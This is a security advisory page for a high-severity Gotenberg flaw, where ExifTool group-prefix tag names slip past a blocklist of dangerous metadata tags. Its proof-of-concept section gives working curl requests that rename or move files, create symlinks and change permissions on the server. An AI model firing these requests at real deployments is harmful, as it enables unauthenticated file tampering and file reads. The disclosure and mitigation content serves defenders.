CVE-2026-42590 — gotenberg
HIGHCVE-2026-42590 is a high-severity (CVSS 8.2) CWE-184 vulnerability in github.com/gotenberg/gotenberg/v8. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
Gotenberg: ExifTool group-prefix syntax bypasses dangerous-tag blocklist
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42590.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/gotenberg/gotenberg/v8Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.
Details
The blocklist in pkg/modules/exiftool/exiftool.go filters four dangerous pseudo-tags (FileName, Directory, HardLink, SymLink) using strings.EqualFold(key, tag). However, ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching.
The safeKeyPattern regex (^[a-zA-Z0-9\-_.:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc.
Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix.
PoC
# Rename the converted PDF (bypasses FileName blocklist)
curl -F "[email protected]" \
-F 'metadata={"File:FileName":"pwned.pdf"}' \
http://localhost:3000/forms/pdfengines/metadata/write
# Move the file to /tmp (bypasses Directory blocklist)
curl -F "[email protected]" \
-F 'metadata={"File:Directory":"/tmp"}' \
http://localhost:3000/forms/pdfengines/metadata/write
# Create a symlink (bypasses SymLink blocklist)
curl -F "[email protected]" \
-F 'metadata={"File:SymLink":"/tmp/symlink-poc"}' \
http://localhost:3000/forms/pdfengines/metadata/write
# Change file permissions (not blocked at all)
curl -F "[email protected]" \
-F 'metadata={"FilePermissions":"rwxrwxrwx"}' \
http://localhost:3000/forms/pdfengines/metadata/write
Impact
Pre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.
This is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gotenberg/gotenberg/v8 | all versions | No fix |
Affected Products
gotenbergthecodingmachineDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of github.com/gotenberg/gotenberg/v8 for CVE-2026-42590. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-42590 in your dependencies?
Find it across Go, including transitive dependencies.